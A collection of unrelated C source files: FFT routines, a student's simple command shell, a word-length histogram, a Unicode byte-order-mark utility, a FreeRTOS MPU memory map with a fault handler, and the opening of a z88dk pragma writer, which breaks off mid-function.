y6i = x0i - x2i;
x0r = x1r - x3i;
x0i = x1i + x3r;
x2r = x1r + x3i;
x2i = x1i - x3r;
y5r = wn4r * (x0r - x0i);
y5i = wn4r * (x0r + x0i);
y7r = wn4r * (x2r - x2i);
y7i = wn4r * (x2r + x2i);
a[8] = y1r + y5r;
a[9] = y1i + y5i;
a[10] = y1r - y5r;
a[11] = y1i - y5i;
a[12] = y3r - y7i;
a[13] = y3i + y7r;
a[14] = y3r + y7i;
a[15] = y3i - y7r;
a[0] = y0r + y4r;
a[1] = y0i + y4i;
a[2] = y0r - y4r;
a[3] = y0i - y4i;
a[4] = y2r - y6i;
a[5] = y2i + y6r;
a[6] = y2r + y6i;
a[7] = y2i - y6r;
}
void cftf082(REAL *a, REAL *w)
{
REAL wn4r, wk1r, wk1i, x0r, x0i, x1r, x1i,
y0r, y0i, y1r, y1i, y2r, y2i, y3r, y3i,
y4r, y4i, y5r, y5i, y6r, y6i, y7r, y7i;
wn4r = w[1];
wk1r = w[4];
wk1i = w[5];
y0r = a[0] - a[9];
y0i = a[1] + a[8];
y1r = a[0] + a[9];
y1i = a[1] - a[8];
x0r = a[4] - a[13];
x0i = a[5] + a[12];
y2r = wn4r * (x0r - x0i);
y2i = wn4r * (x0i + x0r);
x0r = a[4] + a[13];
x0i = a[5] - a[12];
y3r = wn4r * (x0r - x0i);
y3i = wn4r * (x0i + x0r);
x0r = a[2] - a[11];
x0i = a[3] + a[10];
y4r = wk1r * x0r - wk1i * x0i;
y4i = wk1r * x0i + wk1i * x0r;
x0r = a[2] + a[11];
x0i = a[3] - a[10];
y5r = wk1i * x0r - wk1r * x0i;
y5i = wk1i * x0i + wk1r * x0r;
x0r = a[6] - a[15];
x0i = a[7] + a[14];
y6r = wk1i * x0r - wk1r * x0i;
y6i = wk1i * x0i + wk1r * x0r;
x0r = a[6] + a[15];
x0i = a[7] - a[14];
y7r = wk1r * x0r - wk1i * x0i;
y7i = wk1r * x0i + wk1i * x0r;
x0r = y0r + y2r;
x0i = y0i + y2i;
x1r = y4r + y6r;
x1i = y4i + y6i;
a[0] = x0r + x1r;
a[1] = x0i + x1i;
a[2] = x0r - x1r;
a[3] = x0i - x1i;
x0r = y0r - y2r;
x0i = y0i - y2i;
x1r = y4r - y6r;
x1i = y4i - y6i;
a[4] = x0r - x1i;
a[5] = x0i + x1r;
a[6] = x0r + x1i;
a[7] = x0i - x1r;
x0r = y1r - y3i;
x0i = y1i + y3r;
x1r = y5r - y7r;
x1i = y5i - y7i;
a[8] = x0r + x1r;
a[9] = x0i + x1i;
a[10] = x0r - x1r;
a[11] = x0i - x1i;
x0r = y1r + y3i;
x0i = y1i - y3r;
x1r = y5r + y7r;
x1i = y5i + y7i;
a[12] = x0r - x1i;
a[13] = x0i + x1r;
a[14] = x0r + x1i;
a[15] = x0i - x1r;
}
void cftf040(REAL *a)
{
REAL x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i;
x0r = a[0] + a[4];
x0i = a[1] + a[5];
x1r = a[0] - a[4];
x1i = a[1] - a[5];
x2r = a[2] + a[6];
x2i = a[3] + a[7];
x3r = a[2] - a[6];
x3i = a[3] - a[7];
a[0] = x0r + x2r;
a[1] = x0i + x2i;
a[4] = x0r - x2r;
a[5] = x0i - x2i;
a[2] = x1r - x3i;
a[3] = x1i + x3r;
a[6] = x1r + x3i;
a[7] = x1i - x3r;
}
void cftb040(REAL *a)
{
REAL x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i;
x0r = a[0] + a[4];
x0i = a[1] + a[5];
x1r = a[0] - a[4];
x1i = a[1] - a[5];
x2r = a[2] + a[6];
x2i = a[3] + a[7];
x3r = a[2] - a[6];
x3i = a[3] - a[7];
a[0] = x0r + x2r;
a[1] = x0i + x2i;
a[4] = x0r - x2r;
a[5] = x0i - x2i;
a[2] = x1r + x3i;
a[3] = x1i - x3r;
a[6] = x1r - x3i;
a[7] = x1i + x3r;
}
void cftx020(REAL *a)
{
REAL x0r, x0i;
x0r = a[0] - a[2];
x0i = a[1] - a[3];
a[0] += a[2];
a[1] += a[3];
a[2] = x0r;
a[3] = x0i;
}
void rftfsub(int n, REAL *a, int nc, REAL *c)
{
int j, k, kk, ks, m;
REAL wkr, wki, xr, xi, yr, yi;
m = n >> 1;
ks = 2 * nc / m;
kk = 0;
for (j = 2; j < m; j += 2) {
k = n - j;
kk += ks;
wkr = 0.5 - c[nc - kk];
wki = c[kk];
xr = a[j] - a[k];
xi = a[j + 1] + a[k + 1];
yr = wkr * xr - wki * xi;
yi = wkr * xi + wki * xr;
a[j] -= yr;
a[j + 1] -= yi;
a[k] += yr;
a[k + 1] -= yi;
}
}
void rftbsub(int n, REAL *a, int nc, REAL *c)
{
int j, k, kk, ks, m;
REAL wkr, wki, xr, xi, yr, yi;
m = n >> 1;
ks = 2 * nc / m;
kk = 0;
for (j = 2; j < m; j += 2) {
k = n - j;
kk += ks;
wkr = 0.5 - c[nc - kk];
wki = c[kk];
xr = a[j] - a[k];
xi = a[j + 1] + a[k + 1];
yr = wkr * xr + wki * xi;
yi = wkr * xi - wki * xr;
a[j] -= yr;
a[j + 1] -= yi;
a[k] += yr;
a[k + 1] -= yi;
}
}
void dctsub(int n, REAL *a, int nc, REAL *c)
{
int j, k, kk, ks, m;
REAL wkr, wki, xr;
m = n >> 1;
ks = nc / n;
kk = 0;
for (j = 1; j < m; j++) {
k = n - j;
kk += ks;
wkr = c[kk] - c[nc - kk];
wki = c[kk] + c[nc - kk];
xr = wki * a[j] - wkr * a[k];
a[j] = wkr * a[j] + wki * a[k];
a[k] = xr;
}
a[m] *= c[0];
}
void dstsub(int n, REAL *a, int nc, REAL *c)
{
int j, k, kk, ks, m;
REAL wkr, wki, xr;
m = n >> 1;
ks = nc / n;
kk = 0;
for (j = 1; j < m; j++) {
k = n - j;
kk += ks;
wkr = c[kk] - c[nc - kk];
wki = c[kk] + c[nc - kk];
xr = wki * a[k] - wkr * a[j];
a[k] = wkr * a[k] + wki * a[j];
a[j] = xr;
}
a[m] *= c[0];
}
|
the_stack_data/231393080.c
|
/*
Name: Safal Lamsal
ID: 1001199093
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
struct Queue{
int start, end, size, capacity;
char* arr;
};
struct Queue* newQueue(int capacity) {
struct Queue* queue = (struct Queue*)malloc(sizeof(struct Queue));
queue->capacity = capacity;
queue->start = 0;
queue->size = 0;
queue->end = capacity-1;
queue->arr = (char*)malloc(queue->capacity*sizeof(char*));
return queue;
}
int isEmpty(struct Queue* q) {
return q->size == 0;
}
#define WHITESPACE " \t\n" //delimiters
#define MAX_COMMAND_SIZE 255 // max command size
#define MAX_NUM_ARGUMENTS 5 //max of 5 arguments
pid_t childpid = -5; //use in signal handling
//handles signals, takes signal number
void sigHandler(int signum) {
if(childpid > 0) {
kill(childpid, signum);
childpid = -5;
}
}
//handles cd command , takes in parameters of the call
int cdhandle(char *args[]) {
if(args[1] == NULL) {
chdir(getenv("HOME"));
return 1;
}
/*
if(strcmp(args[1], "..") == 0) {
// go back a directory TODO
char cwd[1024];
printf("%s\n", getcwd(cwd, 1024));
int i = 0;
while(cwd[i]!='\0') {
i++;
}
for(; i>0; i--) {
if(cwd[i] == '/') {
cwd[i] = '\0';
break;
}
}
chdir(cwd);
return 1;
}*/ else {
if(chdir(args[1]) == -1) {
printf("Invalid directory path.\n");
return 1;
}
}
return 0;
}
int main () {
signal(SIGTSTP, sigHandler);
signal(SIGINT, sigHandler);
char * cmd_str = (char*) malloc( MAX_COMMAND_SIZE );
int pids[10]; // for showpids
int pc = 0, pi = 0; //pids count, pids index
while (1) {
printf("msh> ");
while( !fgets (cmd_str, MAX_COMMAND_SIZE, stdin) ); //taking user input
char *token[MAX_NUM_ARGUMENTS];
int token_count = 0;
char *arg_ptr;
char *working_str = strdup( cmd_str );
char *working_root = working_str;
while(((arg_ptr=strsep(&working_str, WHITESPACE))!=NULL)&&(token_count<MAX_NUM_ARGUMENTS)){
token[token_count] = strndup( arg_ptr, MAX_COMMAND_SIZE );
if( strlen( token[token_count] ) == 0 ) {
token[token_count] = NULL;
}
token_count++;
}
// blank input case
if(token[0] == NULL) continue;
//debug for input
for (int i = 0; i < token_count-1; i++) {
printf("%s\n", token[i]);
}
// termination cases
if (strcmp(token[0], "exit") == 0 || strcmp(token[0], "quit") == 0) exit(0);
// cd case
if(strcmp(token[0], "cd") == 0) {
cdhandle(token);
continue;
}
//showpids case
if(strcmp(token[0], "showpids") == 0) {
//print out vector
int i;
for(i = 0; i < pc+1; i++) {
if(pc>=10) break;
printf("%d: %d\n", i, pids[i]);
}
continue;
}
if (fork() != 0) {
//parent
wait(NULL);
} else {
//exec right here
childpid = getpid();
if (pi < 10) {
pids[pi] = childpid;
pi++; pc++;
} else {
pids[0] = childpid;
pi = 1;
}
if (execvp(token[0], token) == -1) {
printf("%s: Commnad not found.\n\n", token[0]);
}
exit(0);
}
free( working_root );
}
return 0;
}
|
the_stack_data/168893130.c
|
#include <stdio.h>
/* A word is any consecutive sequence of letter(s). There is a maximum length
* for words (too long ones are ignored) but no limit for the number of words.
检测输入单词长度,打印直方图*/
#define MAXIMUM_LENGTH 9
main ()
{
int i, counts[MAXIMUM_LENGTH],
is_in_word,
length, max,
c;
/* Count words. */
for (i = 0; i < MAXIMUM_LENGTH; i++)
counts[i] = 0;
is_in_word = length = max = 0;
while ((c = getchar()) != EOF)
if (c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z') {
is_in_word = 1;
length++;
} else {
if (is_in_word && length <= MAXIMUM_LENGTH)
if (++counts[length - 1] > max)
max = counts[length - 1];
is_in_word = length = 0;
}
/* Print horizontal histogram. */
for (i = 0; i < MAXIMUM_LENGTH; i++) {
printf("%2d: ", i + 1);
c = counts[i];
while (c-- != 0)
putchar('=');
putchar('\n');
}
/* Print vertical histogram. */
while (max > 0) {
for (i = 0; i < MAXIMUM_LENGTH; i++)
if (counts[i] >= max)
printf(" | ");
else
printf(" ");
putchar('\n');
max--;
}
for (i = 0; i < MAXIMUM_LENGTH; i++)
printf("%2d ", i + 1);
putchar('\n');
}
|
the_stack_data/66030.c
|
/*
* bom - Deals with Unicode byte order marks
*
* Copyright (C) 2021 Archie L. Cobbs. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <assert.h>
#include <ctype.h>
#include <err.h>
#include <errno.h>
#include <getopt.h>
#include <iconv.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// Copyright character
#define COPYRIGHT "\xc2\xa9"
// Special exit values
#define EX_EXPECT_FAIL 2
#define EX_ILLEGAL_BYTES 3
// Version string
extern const char *const bom_version;
// Command line options that only have long versions
#define FLAG_LIST (-2)
#define FLAG_PREFER_32 (-3)
#define OPT(_letter, _name, _arg) \
{ \
.name= _name, \
.has_arg= _arg, \
.flag= NULL, \
.val= _letter \
}
static const struct option long_options[] = {
OPT('d', "detect", no_argument),
OPT('e', "expect", required_argument),
OPT('h', "help", no_argument),
OPT(FLAG_LIST, "list", no_argument),
OPT('l', "lenient", no_argument),
OPT('p', "print", required_argument),
OPT(FLAG_PREFER_32, "prefer32", no_argument),
OPT('s', "strip", no_argument),
OPT('u', "utf8", no_argument),
OPT('v', "version", no_argument),
OPT(0, NULL, 0)
};
// Execution modes
#define MODE_STRIP 1
#define MODE_DETECT 2
#define MODE_LIST 3
#define MODE_PRINT 4
#define MODE_HELP 5
#define MODE_VERSION 6
// BOM types
struct bom_type {
const char *name;
const char *encoding;
const char *bytes;
const int len;
};
#define BOM_TYPE(_name, _encoding, _bytes) \
{ \
.name= _name, \
.encoding= _encoding, \
.bytes= _bytes, \
.len= sizeof(_bytes) - 1 \
}
static const struct bom_type bom_types[] = {
BOM_TYPE("NONE", NULL, ""),
BOM_TYPE("UTF-7", "UTF-7", "\x2b\x2f\x76"),
BOM_TYPE("UTF-8", "UTF-8", "\xef\xbb\xbf"),
BOM_TYPE("UTF-16BE", "UTF-16BE", "\xfe\xff"),
BOM_TYPE("UTF-16LE", "UTF-16LE", "\xff\xfe"),
BOM_TYPE("UTF-32BE", "UTF-32BE", "\x00\x00\xfe\xff"),
BOM_TYPE("UTF-32LE", "UTF-32LE", "\xff\xfe\x00\x00"),
BOM_TYPE("GB18030", "GB18030", "\x84\x31\x95\x33"),
};
#define BOM_TYPE_NONE 0
#define BOM_TYPE_UTF_7 1
#define BOM_TYPE_UTF_8 2
#define BOM_TYPE_UTF_16BE 3
#define BOM_TYPE_UTF_16LE 4
#define BOM_TYPE_UTF_32BE 5
#define BOM_TYPE_UTF_32LE 6
#define BOM_TYPE_GB18030 7
#define BOM_TYPE_MAX 8
// Input buffer
#define BUFFER_SIZE 1024
struct bom_input {
char buf[BUFFER_SIZE];
int len;
int num_complete;
int num_finished;
int match_state[BOM_TYPE_MAX];
};
#define MATCH_PREFIX 0
#define MATCH_COMPLETE 1
#define MATCH_FAILED 2
// Mode of execution functions
static void bom_detect(FILE *fp, long expect_types, int prefer32);
static void bom_strip(FILE *fp, long expect_types, int lenient, int prefer32, int utf8);
static void bom_list(void);
static void bom_print(int bom_type);
// Helper functions
static int read_bom(FILE *fp, struct bom_input *const input, long expect_types, int prefer32);
static int read_byte(FILE *fp, struct bom_input *input);
static int bom_type_from_name(const char *name);
static void init_bom_input(struct bom_input *const input);
static void set_mode(int *modep, int mode);
static void usage(void);
int
main(int argc, char **argv)
{
const struct option *opt;
char optstring[32];
long expect_types = 0;
int option_index;
int bom_type = -1;
int prefer32 = 0;
int lenient = 0;
FILE *fp = NULL;
int mode = 0;
int utf8 = 0;
char *s;
int ch;
// Build optstring dynamically
s = optstring;
for (opt = long_options; opt->name != NULL; opt++) {
if (opt->val > 0) {
*s++ = (char)opt->val;
if (opt->has_arg)
*s++ = ':';
}
}
*s = '\0';
// Parse command line
while ((ch = getopt_long(argc, argv, optstring, long_options, &option_index)) != -1) {
switch (ch) {
case 'd':
set_mode(&mode, MODE_DETECT);
break;
case 'e':
while ((s = strsep(&optarg, ",")) != NULL) {
if ((bom_type = bom_type_from_name(s)) >= sizeof(expect_types) * 8)
errx(1, "internal error: %s", "too many BOM types");
expect_types |= (1 << bom_type);
}
break;
case 'h':
set_mode(&mode, MODE_HELP);
break;
case 'l':
lenient = 1;
break;
case 'p':
bom_type = bom_type_from_name(optarg);
set_mode(&mode, MODE_PRINT);
break;
case 's':
set_mode(&mode, MODE_STRIP);
break;
case 'u':
utf8 = 1;
break;
case 'v':
set_mode(&mode, MODE_VERSION);
break;
case FLAG_PREFER_32:
prefer32 = 1;
break;
case FLAG_LIST:
set_mode(&mode, MODE_LIST);
break;
case '?':
default:
usage();
return 1;
}
}
argv += optind;
argc -= optind;
// Parse remainder of command line
switch (mode) {
case MODE_STRIP:
case MODE_DETECT:
switch (argc) {
case 0:
fp = stdin;
break;
case 1:
if (strcmp(argv[0], "-") == 0) {
fp = stdin;
break;
}
if ((fp = fopen(argv[0], "r")) == NULL)
err(1, "%s", argv[0]);
break;
default:
usage();
return 1;
}
break;
default:
switch (argc) {
case 0:
break;
default:
usage();
return 1;
}
break;
}
// Execute
switch (mode) {
case MODE_STRIP:
bom_strip(fp, expect_types, lenient, prefer32, utf8);
break;
case MODE_DETECT:
bom_detect(fp, expect_types, prefer32);
break;
case MODE_LIST:
bom_list();
break;
case MODE_PRINT:
bom_print(bom_type);
break;
case MODE_HELP:
usage();
break;
case MODE_VERSION:
fprintf(stderr, "bom %s\n", bom_version);
fprintf(stderr, "Copyright %s Archie L. Cobbs. All rights reserved.\n", COPYRIGHT);
break;
default:
usage();
return 1;
}
// Done
return 0;
}
static void
bom_detect(FILE *fp, long expect_types, int prefer32)
{
const struct bom_type *bt;
struct bom_input input;
int bom_type;
// Read BOM
init_bom_input(&input);
bom_type = read_bom(fp, &input, expect_types, prefer32);
bt = &bom_types[bom_type];
// Print its name
printf("%s\n", bt->name);
}
#if DEBUG_ICONV_OPS
#define BYTES_PER_ROW 20
static void
debug_buffer(const size_t base, const void *data, size_t len)
{
size_t offset;
size_t i;
if (data == NULL) {
fprintf(stderr, " NULL\n");
return;
}
for (offset = 0; offset < len; offset += BYTES_PER_ROW) {
fprintf(stderr, "%08d: ", (unsigned int)(base + offset));
for (i = 0; i < BYTES_PER_ROW; i++) {
const int val = offset + i < len ? *((const char *)data + offset + i) & 0xff : -1;
if (i == BYTES_PER_ROW / 2)
fprintf(stderr, " ");
if (val != -1)
fprintf(stderr, " %02x", val);
else
fprintf(stderr, " ");
}
fprintf(stderr, " ");
for (i = 0; i < BYTES_PER_ROW; i++) {
const int val = offset + i < len ? *((const char *)data + offset + i) & 0xff : -1;
if (val != -1)
fprintf(stderr, "%c", isprint(val) ? val : '.');
else
fprintf(stderr, " ");
}
fprintf(stderr, "\n");
}
}
#endif /* DEBUG_ICONV_OPS */
static void
bom_strip(FILE *fp, long expect_types, int lenient, int prefer32, int utf8)
{
const struct bom_type *bt;
struct bom_input input;
char ibuf[BUFFER_SIZE];
char obuf[BUFFER_SIZE];
char tocode[32];
size_t offset;
iconv_t icd = 0;
int done = 0;
int bom_type;
int ilen;
// Read BOM
init_bom_input(&input);
bom_type = read_bom(fp, &input, expect_types, prefer32);
bt = &bom_types[bom_type];
// If BOM type is NONE, then obviously we can't convert to UTF-8
if (bom_type == BOM_TYPE_NONE)
utf8 = 0;
// Initialize iconv conversion engine
if (utf8) {
snprintf(tocode, sizeof(tocode), "%s%s", bom_types[BOM_TYPE_UTF_8].encoding, lenient ? "//IGNORE" : "");
if ((icd = iconv_open(tocode, bt->encoding)) == (iconv_t)-1)
err(1, "iconv: \"%s\" -> \"%s\"", bt->encoding, tocode);
}
// Copy over any bytes we read after the BOM into our input buffer
ilen = input.len - bt->len;
memcpy(ibuf, input.buf + bt->len, ilen);
offset = bt->len;
// Convert remainder of file
while (!done) {
size_t nread;
size_t nwrit;
char *iptr;
char *optr;
size_t iremain;
size_t oremain;
int eof = 0;
size_t r;
// Fill the input buffer
while (ilen < sizeof(ibuf)) {
if ((nread = fread(ibuf + ilen, 1, sizeof(ibuf) - ilen, fp)) == 0) {
if (ferror(fp))
err(1, "read error");
eof = 1;
break;
}
ilen += nread;
}
// When the input buffer is empty and we couldn't add anything more, this is the last round
done = ilen == 0;
// Convert bytes (unless BOM_TYPE_NONE)
iptr = ibuf;
optr = obuf;
iremain = ilen;
oremain = sizeof(obuf);
// Convert to UTF-8 or just pass through
if (utf8) {
#if DEBUG_ICONV_OPS
fprintf(stderr, "->iconv@%d: ilen=%d\n", (int)offset, (int)ilen);
debug_buffer(offset, iptr, ilen);
#endif
r = iconv(icd, !done ? &iptr : NULL, &iremain, &optr, &oremain);
#if DEBUG_ICONV_OPS
{
const int errno_save = errno;
fprintf(stderr, "<-iconv@%d: r=%d errno=%d iptr@%d optr@%d\n",
(int)offset, (int)r, errno, (int)(iptr - ibuf), (int)(optr - obuf));
debug_buffer(offset, obuf, optr - obuf);
errno = errno_save;
}
#endif
if (r == (size_t)-1) {
switch (errno) {
case EINVAL: // incomplete multi-byte sequence at the end of the input buffer
if (!done && !eof)
break;
// FALLTHROUGH
case EILSEQ: // an invalid byte sequence was detected
if (lenient) {
iptr += iremain; // avoid an infinite loop on trailing partial multi-byte sequence
iremain = 0;
break;
}
errx(EX_ILLEGAL_BYTES, "invalid %s byte sequence at file offset %lu", bt->name, offset + (iptr - ibuf));
default:
err(1, "iconv");
}
}
} else { // behave like iconv() would but just copy the bytes
memcpy(optr, iptr, ilen);
if (!done)
iptr += ilen;
iremain = 0;
optr += ilen;
oremain -= ilen;
}
// Update file offset
offset += ilen - iremain;
// Shift unprocessed input for next time
memmove(ibuf, iptr, iremain);
ilen = iremain;
// Write output
oremain = optr - obuf;
optr = obuf;
while (oremain > 0 && (nwrit = fwrite(optr, 1, oremain, stdout)) > 0) {
optr += nwrit;
oremain -= nwrit;
}
if (ferror(stdout))
err(1, "write error");
}
if (fflush(stdout) == EOF)
err(1, "write error");
// Close conversion
if (utf8)
(void)iconv_close(icd);
}
static void
bom_list(void)
{
int bom_type;
for (bom_type = 0; bom_type < BOM_TYPE_MAX; bom_type++) {
const struct bom_type *const bt = &bom_types[bom_type];
printf("%s\n", bt->name);
}
}
static void
bom_print(int bom_type)
{
const struct bom_type *const bt = &bom_types[bom_type];
int i;
for (i = 0; i < bt->len; i++) {
if (putchar(bt->bytes[i] & 0xff) == EOF)
err(1, "write error");
}
}
static int
read_bom(FILE *fp, struct bom_input *const input, long expect_types, int prefer32)
{
int bom_type;
// Read bytes until all BOM's are either completely matched or have failed to match
while (read_byte(fp, input)) {
if (input->num_finished == BOM_TYPE_MAX)
break;
}
// Handle the UTF-16LE vs. UTF-32LE ambiguity
if (input->match_state[BOM_TYPE_UTF_16LE] == MATCH_COMPLETE
&& input->match_state[BOM_TYPE_UTF_32LE] == MATCH_COMPLETE) {
input->match_state[prefer32 ? BOM_TYPE_UTF_16LE : BOM_TYPE_UTF_32LE] = MATCH_FAILED;
input->num_complete--;
}
// At this point there should be BOM_TYPE_NONE and at most one other match
assert(input->match_state[BOM_TYPE_NONE] == MATCH_COMPLETE);
switch (input->num_complete) {
case 1:
bom_type = BOM_TYPE_NONE;
break;
case 2:
for (bom_type = 0; bom_type < BOM_TYPE_MAX; bom_type++) {
if (bom_type != BOM_TYPE_NONE && input->match_state[bom_type] == MATCH_COMPLETE)
break;
}
if (bom_type < BOM_TYPE_MAX)
break;
// FALLTHROUGH
default:
errx(1, "internal error: %s", ">2 BOM type matches");
}
// Check expected BOM type
if (expect_types != 0 && (expect_types & (1 << bom_type)) == 0)
errx(EX_EXPECT_FAIL, "unexpected BOM type %s", bom_types[bom_type].name);
// Done
return bom_type;
}
static int
bom_type_from_name(const char *name)
{
int bom_type;
for (bom_type = 0; bom_type < BOM_TYPE_MAX; bom_type++) {
if (strcmp(bom_types[bom_type].name, name) == 0)
return bom_type;
}
errx(1, "unknown BOM type \"%s\"", name);
}
static int
read_byte(FILE *fp, struct bom_input *const input)
{
int bom_type;
int ch;
// Read next byte
if ((ch = getc(fp)) == EOF) {
if (ferror(fp))
err(1, "read error");
return 0;
}
// Update state
if (input->len >= sizeof(input->buf))
errx(1, "internal error: %s", "input buffer overflow");
for (bom_type = 0; bom_type < BOM_TYPE_MAX; bom_type++) {
const struct bom_type *const bt = &bom_types[bom_type];
switch (input->match_state[bom_type]) {
case MATCH_PREFIX:
if (bt->bytes[input->len] != (char)ch) {
input->match_state[bom_type] = MATCH_FAILED;
input->num_finished++;
} else if (bt->len == input->len + 1) {
input->match_state[bom_type] = MATCH_COMPLETE;
input->num_finished++;
input->num_complete++;
}
break;
case MATCH_COMPLETE:
case MATCH_FAILED:
break;
default:
errx(1, "internal error: %s", "invalid match state");
}
}
input->buf[input->len++] = (char)ch;
return 1;
}
static void
init_bom_input(struct bom_input *const input)
{
memset(input, 0, sizeof(*input));
input->match_state[BOM_TYPE_NONE] = MATCH_COMPLETE;
input->num_complete = 1;
input->num_finished = 1;
}
static void
set_mode(int *modep, int mode)
{
if (*modep != 0) {
usage();
exit(1);
}
*modep = mode;
}
static void
usage(void)
{
fprintf(stderr, "Usage:\n");
fprintf(stderr, " bom --strip [--expect types] [--lenient] [--prefer32] [--utf8] [file]\n");
fprintf(stderr, " bom --detect [--expect types] [--prefer32] [file]\n");
fprintf(stderr, " bom --list\n");
fprintf(stderr, " bom --print type\n");
fprintf(stderr, " bom --help\n");
fprintf(stderr, " bom --version\n");
fprintf(stderr, "Options:\n");
fprintf(stderr, " -d, --detect Report the detected BOM type and exit\n");
fprintf(stderr, " -e, --expect types Expect the specified BOM type(s) (separated by commas)\n");
fprintf(stderr, " -h, --help Output command line usage summary\n");
fprintf(stderr, " -l, --lenient Skip invalid input byte sequences instead of failing\n");
fprintf(stderr, " --list List the supported BOM types\n");
fprintf(stderr, " -p, --print type Output the byte sequence corresponding to \"type\"\n");
fprintf(stderr, " --prefer32 Prefer UTF-32LE instead of UTF-16LE followed by NUL\n");
fprintf(stderr, " -s, --strip Strip the BOM and output the remainder of the file\n");
fprintf(stderr, " -u, --utf8 Convert the remainder of the file to UTF-8\n");
fprintf(stderr, " -v, --version Output program version and exit\n");
}
|
the_stack_data/126704393.c
|
/*
* FreeRTOS V202107.00
* Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* https://www.FreeRTOS.org
* https://github.com/FreeRTOS
*
*/
#include <stdint.h>
extern uint32_t Image$$ER_IROM_FREERTOS_SYSTEM_CALLS$$Base;
extern uint32_t Image$$ER_IROM_FREERTOS_SYSTEM_CALLS$$Limit;
/* Memory map needed for MPU setup. Must must match the one defined in
* the scatter-loading file (MPUDemo.sct). */
const uint32_t * __FLASH_segment_start__ = ( uint32_t * ) 0x08000000;
const uint32_t * __FLASH_segment_end__ = ( uint32_t * ) 0x08100000;
const uint32_t * __SRAM_segment_start__ = ( uint32_t * ) 0x20000000;
const uint32_t * __SRAM_segment_end__ = ( uint32_t * ) 0x20018000;
const uint32_t * __privileged_functions_start__ = ( uint32_t * ) 0x08000000;
const uint32_t * __privileged_functions_end__ = ( uint32_t * ) 0x08008000;
const uint32_t * __privileged_data_start__ = ( uint32_t * ) 0x20000000;
const uint32_t * __privileged_data_end__ = ( uint32_t * ) 0x20008000;
const uint32_t * __syscalls_flash_start__ = ( uint32_t * ) &( Image$$ER_IROM_FREERTOS_SYSTEM_CALLS$$Base );
const uint32_t * __syscalls_flash_end__ = ( uint32_t * ) &( Image$$ER_IROM_FREERTOS_SYSTEM_CALLS$$Limit );
/*-----------------------------------------------------------*/
/**
* @brief Mem fault handler.
*/
void MemManage_Handler( void ) __attribute__ (( naked ));
/*-----------------------------------------------------------*/
void MemManage_Handler( void )
{
__asm volatile
(
" tst lr, #4 \n"
" ite eq \n"
" mrseq r0, msp \n"
" mrsne r0, psp \n"
" ldr r1, handler_address_const \n"
" bx r1 \n"
" \n"
" handler_address_const: .word vHandleMemoryFault \n"
);
}
/*-----------------------------------------------------------*/
|
the_stack_data/187644251.c
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <inttypes.h>
#define NAMESIZE 256
static char buf[65536];
static char filename[FILENAME_MAX+1];
static int lineno = 0;
static int sccz80_mode = 0;
char *skip_ws(char *ptr)
{
while ( isspace(*ptr) ) {
ptr++;
}
return ptr;
}
void strip_nl(char *ptr)
{
char *nl;
if ( ( nl = strchr(ptr,'\n') ) != NULL || (nl = strchr(ptr,'\r')) != NULL ) {
*nl = 0;
}
}
void first_word_only(char *ptr)
{
while (!isspace(*ptr))
++ptr;
*ptr = 0;
}
/*
* Dump some text into the zcc_opt.def, this allows us to define some
* things that the startup code might need
*/
void write_pragma_string(char *ptr)
{
char *text;
FILE *fp;
ptr = skip_ws(ptr);
strip_nl(ptr);
text = strchr(ptr,' ');
if ( text == NULL ) text = strchr(ptr,'\t');
if ( text != NULL ) {
*text = 0;
text++;
if ( (fp=fopen("zcc_opt.def","a")) == NULL ) {
fprintf(stderr,"%s:%d Cannot open zcc_opt.def file\n", filename, lineno);
exit(1);
}
text = skip_ws(text);
fprintf(fp,"\nIF NEED_%s\n",ptr);
fprintf(fp,"\tdefm\t\"%s\"\n",text);
fprintf(fp,"\tdefc DEFINED_NEED_%s = 1\n",ptr);
fprintf(fp,"ENDIF\n\n");
fclose(fp);
}
}
/* Dump some bytes into the zcc_opt.def file */
void write_bytes(char *line, int flag)
{
FILE *fp;
char sname[NAMESIZE+1];
char *ptr;
long value;
int count;
ptr = sname;
while ( isalpha(*line) && ( ptr - sname) < NAMESIZE ) {
*ptr++ = *line++;
}
*ptr = 0;
if ( strlen(sname) ) {
if ( (fp=fopen("zcc_opt.def","a")) == NULL ) {
fprintf(stderr,"%s:%d Cannot open zcc_opt.def file\n", filename, lineno);
exit(1);
}
fprintf(fp,"\nIF NEED_%s\n",sname);
if ( flag ) {
fprintf(fp,"\tdefc DEFINED_NEED_%s = 1\n",sname);
}
/* Now, do the numbers */
count=0;
ptr = skip_ws(line);
while ( *line != ';' ) {
char *end;
if ( count == 0 ) {
fprintf(fp,"\n\tdefb\t");
} else {
fprintf(fp,",");
}
value = strtol(line, &end, 0);
if ( end != line ) {
fprintf(fp,"%ld",value);
} else {
